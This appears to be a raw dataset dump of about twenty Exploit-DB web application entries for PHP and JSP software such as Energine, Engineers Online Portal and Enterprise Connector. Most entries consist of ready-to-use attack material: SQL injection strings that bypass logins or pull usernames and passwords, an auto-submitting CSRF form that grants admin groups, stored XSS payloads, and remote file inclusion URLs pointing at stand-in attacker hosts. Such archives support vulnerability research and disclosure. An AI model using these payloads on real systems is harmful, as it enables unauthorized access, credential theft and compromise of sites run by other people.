deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15967
Description: energine 2.3.8 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-01-11
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22783
Reference: http://www.htbridge.ch/advisory/sql_injection_vulnerability_in_energine.html
Product: Energine
Vulnerable Version: 2.3.8 and probably prior versions
Vendor Notification: 28 December 2010 
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "core/modules/shop/components/ProductList.class.php" script to properly sanitize user-supplied input in "product" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

Attacker can use browser to exploit this vulnerability. The following PoC is available:
http://host/shop/search-results/?product=%22+ANY_SQL

Path Disclosure:
Vulnerability Details:
The vulnerability exists due to failure in the "core/modules/shop/components/Order.class.php", "core/modules/shop/components/ParamValuesEditor.class.php" scripts, it's possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.
The following PoC is available:
http://host/core/modules/shop/components/Order.class.php
http://host/core/modules/shop/components/ParamValuesEditor.class.php

CSRF:
Vulnerability Details:
The vulnerability exists due to failure in the "core/modules/user/components/UserEditor.class.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/en/single/pageToolBar/user/save" method="post" name="main">
<input type="hidden" name="componentAction" value="edit">
<input type="hidden" name="user_users[u_id]" value="USERID">
<input type="hidden" name="user_users[u_name]" value="email@example.com">
<input type="hidden" name="user_users[u_password]" value="">
<input type="hidden" name="user_users[u_fullname]" value="Test">
<input type="hidden" name="user_users[u_avatar_prfile]" value="">
<input type="hidden" name="group_id[]" value="1">
<input type="hidden" name="group_id[]" value="4">
</form>
<script>
document.main.submit();
</script>
Exploit-DB #15327
Description: Energine CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-10-27
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22655
Reference: http://www.htbridge.ch/advisory/sql_injection_in_energine.html
Product: Energine 
Vendor: Energine  ( http://energine.org/ ) 
Vulnerable Version: 
Vendor Notification: 13 October 2010 
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in NRGNSID variable from cookie.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:


Cookie: NRGNSID='SQL_CODE_HERE
Exploit-DB #4356
Description: eNetman 20050830 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-03
Author: JaheeM

Exploit:
Title           : eNetman - The Enchanced Network Manager Remote File Inclusion
URL             : http://freshmeat.net/projects/enetman/
Author          : JaheeM
Exploit         : senetman/html/index.php?page=

Thanks To : #asc,  IRC.ASCNET.BIZ

# milw0rm.com [2007-09-03]
Exploit-DB #5882
Description: eNews 0.1 - 'delete.php' Arbitrary Delete Post
Type: webapps
Platform: php
Date: 2008-06-21
Author: ilker Kandemir

Exploit:
eNews 0.1 (delete.php) Arbitrary Delete Post Vulnerability


Author: iLker Kandemir [MEFISTO]

Script download : http://www.hotscripts.com/Detailed/81086.html

script demo : http://emvvy.com/demos/enews/

site : www.dumenci.net

----------------------------------------------------------------
//poc:

if ((isset($_GET['delete'])) && ($_GET['delete'] != "")) {
  $deleteSQL = sprintf("DELETE FROM news WHERE id=%s",
                       GetSQLValueString($_GET['delete'], "int"));

----------------------------------------------------------------

//exploit :

http://[site]/delete.php?delete=[eNews_id]

----------------------------------------------------------------

tnx : aLL my FriEndZ 

# milw0rm.com [2008-06-21]
Exploit-DB #50453
Description: Engineers Online Portal 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2021-10-25
Author: Alon Leviev

Exploit:
# Exploit Title: Engineers Online Portal 1.0 - 'id' SQL Injection 
# Exploit Author: Alon Leviev
# Date: 22-10-2021
# Category: Web application
# Vendor Homepage: https://www.sourcecodester.com/php/13115/engineers-online-portal-php.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/nia_munoz_monitoring_system.zip
# Version: 1.0
# Tested on: Kali Linux 
# Vulnerable page: quiz_question.php
# Vulnerable Parameter: "id"

Technical description:
An SQL Injection vulnerability exists in the Engineers Online Portal. An attacker can leverage the vulnerable "id" parameter in the "quiz_question.php" web page in order to manipulate the sql query performed.
As a result he can extract sensitive data from the web server and in some cases he can use this vulnerability in order to get a remote code execution on the remote web server. 

Steps to exploit:
1) Navigate to http://localhost/nia_munoz_monitoring_system/quiz_question.php
2) Insert your payload in the id parameter

Proof of concept (Poc):
The following payload will allow you to extract the MySql server version running on the web server -
' union select NULL,NULL,NULL,NULL,NULL,@@version,NULL,NULL,NULL;-- -

---

GET /nia_munoz_monitoring_system/quiz_question.php?id=3%27%20union%20select%20NULL,NULL,NULL,NULL,NULL,@@version,NULL,NULL,NULL--%20- HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9
Upgrade-Insecure-Requests: 1

---
Exploit-DB #50452
Description: Engineers Online Portal 1.0 - 'multiple' Authentication Bypass
Type: webapps
Platform: php
Date: 2021-10-25
Author: Alon Leviev

Exploit:
# Exploit Title: Engineers Online Portal 1.0 - 'multiple' Authentication Bypass
# Exploit Author: Alon Leviev
# Date: 22-10-2021
# Category: Web application
# Vendor Homepage: https://www.sourcecodester.com/php/13115/engineers-online-portal-php.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/nia_munoz_monitoring_system.zip
# Version: 1.0
# Tested on: Kali Linux 
# Vulnerable page: login.php
# VUlnerable parameters: "username", "password"

Technical description:
An SQL Injection vulnerability exists in the Engineers Online Portal login form which can allow an attacker to bypass authentication. 

Steps to exploit:
1) Navigate to http://localhost/nia_munoz_monitoring_system/login.php
2) Insert your payload in the user or password field 
3) Click login

Proof of concept (Poc):
The following payload will allow you to bypass the authentication mechanism of the Engineers Online Portal login form - 
' OR '1'='1';-- -

--- 

POST /nia_munoz_monitoring_system/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 41
Origin: http://localhost
Connection: close
Referer: http://localhost/nia_munoz_monitoring_system/
Cookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9

username='+or+'1'%3D'1'%3B--+-&password=sqli

OR

POST /nia_munoz_monitoring_system/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 44
Origin: http://localhost
Connection: close
Referer: http://localhost/nia_munoz_monitoring_system/
Cookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9

username=sqli&password='+or+'1'%3D'1'%3B--+-

---
Exploit-DB #50451
Description: Engineers Online Portal 1.0 - 'multiple' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-10-25
Author: Alon Leviev

Exploit:
# Exploit Title: Engineers Online Portal 1.0 - 'multiple' Stored Cross-Site Scripting (XSS)
# Exploit Author: Alon Leviev
# Date: 22-10-2021
# Category: Web application
# Vendor Homepage: https://www.sourcecodester.com/php/13115/engineers-online-portal-php.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/nia_munoz_monitoring_system.zip
# Version: 1.0
# Tested on: Kali Linux 
# CVE : cve-2021-42664
# Vulnerable page: add_quiz.php
# Vulnerable Parameters: "quiz_title", "description"

Technical description:
A stored XSS vulnerability exists in the Engineers Online Portal. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more. 

Steps to exploit:
1) Navigate to http://localhost/nia_munoz_monitoring_system/add_quiz.php
2) Insert your payload in the "quiz_title" parameter or the "description" parameter
3) Click save

Proof of concept (Poc):
The following payload will allow you to run the javascript - 
<script>alert("This is an XSS Give me your cookies")</script>

---

POST /nia_munoz_monitoring_system/add_quiz.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Origin: http://localhost
Connection: close
Referer: http://localhost/nia_munoz_monitoring_system/add_quiz.php
Cookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9
Upgrade-Insecure-Requests: 1

quiz_title=%3Cscript%3Ealert%28%22This+is+an+XSS%22%29%3C%2Fscript%3E&description=xss&save=

OR

POST /nia_munoz_monitoring_system/edit_quiz.php?id=6 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
Origin: http://localhost
Connection: close
Referer: http://localhost/nia_munoz_monitoring_system/edit_quiz.php?id=6
Cookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9
Upgrade-Insecure-Requests: 1

quiz_id=6&quiz_title=xss&description=%3Cscript%3Ealert%28%22This+is+an+xss%22%29%3C%2Fscript%3E&save=

---
Exploit-DB #3050
Description: Enigma 2 Coppermine Bridge - 'boarddir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-30
Author: Mehmet Ince

Exploit:
-----------------------------------------------

Enigma Coppermine Bridge (boarddir) Remote File Include

-----------------------------------------------


Author: xoron

-----------------------------------------------
 
Vuln Code:

require_once($boarddir . '/PortalSources/Portal.ini.php');

-----------------------------------------------

3xplo!t:

/bridge/enigma/E2_header.inc.php?boarddir=http://evil_scripts?

-----------------------------------------------

download:  http://www.lunabyte.org/index.php?PHPSESSID=376bd47985f6c37b06ceb727b0879287&module=Downloads;sa=dlview;id=7

-----------------------------------------------
XORON   -   XORON   -   XORON   -   XORON   -   XORON
-----------------------------------------------------------
-                                                         -
-                                                         -
- Tum muslumanlarin kurban bayrami simdiden mubarek olsun -
-                                                         -
-              Greetz: str0ke, Kacper                     -
-                                                         -
-----------------------------------------------------------

# milw0rm.com [2006-12-30]
Exploit-DB #38862
Description: Enorth Webpublisher CMS - 'thisday' SQL Injection
Type: webapps
Platform: php
Date: 2013-12-06
Author: xin.wang

Exploit:
source: https://www.securityfocus.com/bid/64110/info

Enorth Webpublisher is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

POST /pub/m_worklog/log_searchday.jsp HTTP/1.1
Host: www.example.com
User-Agent:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
Cookie:
Pragma: no-cache
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 180
thisday=20131012') and UTL_INADDR.get_host_name((select v from (select rownum,USER_NAME||chr(94)||PASS_WORD v from TN_USER WHERE USER_ID=1) where rownum=1))>0--&cx.y=16&querytype=
Exploit-DB #28105
Description: eNpaper1 - 'Root_Header.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-26
Author: almaster

Exploit:
source: https://www.securityfocus.com/bid/18649/info

eNpaper1 is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input to the application.

An attacker may leverage this issue to have an arbitrary remote file containing malicious script code execute in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.

http://http://www.example.com/inc/root_header.php?ppath=http://evilphp.com/cmd.txt
Exploit-DB #51501
Description: Enrollment System Project v1.0 - SQL Injection Authentication Bypass (SQLI)
Type: webapps
Platform: php
Date: 2023-06-04
Author: VIVEK CHOUDHARY

Exploit:
# Exploit Title: Enrollment System Project v1.0 - SQL Injection Authentication Bypass (SQLI)
# Date of found: 18/05/2023
# Exploit Author: VIVEK CHOUDHARY @sudovivek
# Version: V1.0
# Tested on: Windows 10
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14444/enrollment-system-project-source-code-using-phpmysql.html
# CVE: CVE-2023-33584
# CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33584

Vulnerability Description -

	Enrollment System Project V1.0, developed by Sourcecodester, has been found to be vulnerable to SQL Injection (SQLI) attacks. This vulnerability allows an attacker to manipulate the SQL queries executed by the application. The system fails to properly validate user-supplied input in the username and password fields during the login process, enabling an attacker to inject malicious SQL code. By exploiting this vulnerability, an attacker can bypass authentication and gain unauthorized access to the system.


Steps to Reproduce -

	The following steps outline the exploitation of the SQL Injection vulnerability in Enrollment System Project V1.0:

	    1.	Launch the Enrollment System Project V1.0 application.

	    2.	Open the login page by accessing the URL: http://localhost/enrollment/login.php.

	    3.	In the username and password fields, insert the following SQL Injection payload shown inside brackets to bypass authentication: {' or 1=1 #}.

	    4.	Click the login button to execute the SQL Injection payload.


As a result of successful exploitation, the attacker gains unauthorized access to the system and is logged in with administrative privileges.
Exploit-DB #26650
Description: Entergal MX 2.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-11-29
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15631/info

Entergal MX is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 2.0 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/?action=showcat&idcat=[SQL]
http://www.example.com/?action=[SQL]
Exploit-DB #26916
Description: Enterprise Connector 1.0.2 - 'main.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-20
Author: Attila Gerendi

Exploit:
source: https://www.securityfocus.com/bid/15984/info

Enterprise Connector is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

The following proof of concept is available:
username 'or isnull(1/0) /*
password (no password required)
Exploit-DB #42713
Description: Enterprise Edition Payment Processor Script 3.7 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-14
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Enterprise Edition Payment Processor Script 3.7 - SQL Injection
# Dork: N/A
# Date: 14.09.2017
# Vendor Homepage: https://www.goterhosting.com/
# Software Link: https://www.goterhosting.com/payment-processor-script.php
# Demo: http://www.enterprise-edition.gvmhosting.com/
# Version: 3.7
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 
# http://localhost/[PATH]/login
# 
# User: 'or 1=1 or ''=' Pass: 'or 1=1 or ''='
# 
# http://localhost/[PATH]/products?id=[SQL]&action=update
# 
# -1++/*!00002UNION*/(/*!00002SELECT*/+0x283129,0x283229,0x283329,0x283429,0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529,0x28313629,/*!00002CONCAT_WS*/(0x203a20,USER(),DATABASE(),VERSION()))--+-&action=update
# 
# http://localhost/[PATH]/bank?id=[SQL]&action=update
# 
# Etc..
# # # # #
Exploit-DB #26603
Description: Enterprise Heart Enterprise Connector 1.0.2 - 'messages.php?messageid' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15578/info
 
Enterprise Connector is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

/messages.php?action=delete&messageid=[SQL]
Exploit-DB #26602
Description: Enterprise Heart Enterprise Connector 1.0.2 - 'send.php?messageid' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15578/info

Enterprise Connector is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

/send.php?messageid=[SQL]
Exploit-DB #1891
Description: Enterprise Payroll Systems 1.1 - 'footer' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-08
Author: Kacper

Exploit:
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  Enterprise TimeSheet and Payroll (EPS) <= v.1.1 Remote File Include Vulnerability
$$  Script site: http://epayroll.sourceforge.net/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Expl:


http://www.site.com/[EPS_path]/footer.php?absolutepath=[evil_scripts]

http://www.site.com/[EPS_path]/admin/footer.php?absolutepath=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-08]
Exploit-DB #5371
Description: Entertainment Directory 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2008-04-05
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+	       Entertainment Directory <= 1.1 SQL Injection Vulnerbility             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz & xprog
Discovered On: 5 April 2008
Script Download: http://www.turnkeyzone.com
DORK: N/A
Vendor Has Not Been Notified!


DESCRIPTION: 
Entertainment directory is vulnerable due to a insecure mysql query. this allows the remote attacker
to obtain user credentials from the database.


EXPLOITS:
http://site.com/directory.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,CONCAT(username,char(58),password),9,10,11,12,13,14/**/FROM/**/users/*



NOTE/TIP: 


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew!



--==+================================================================================+==--
--==+	       Entertainment Directory <= 1.1 SQL Injection Vulnerbility             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-05]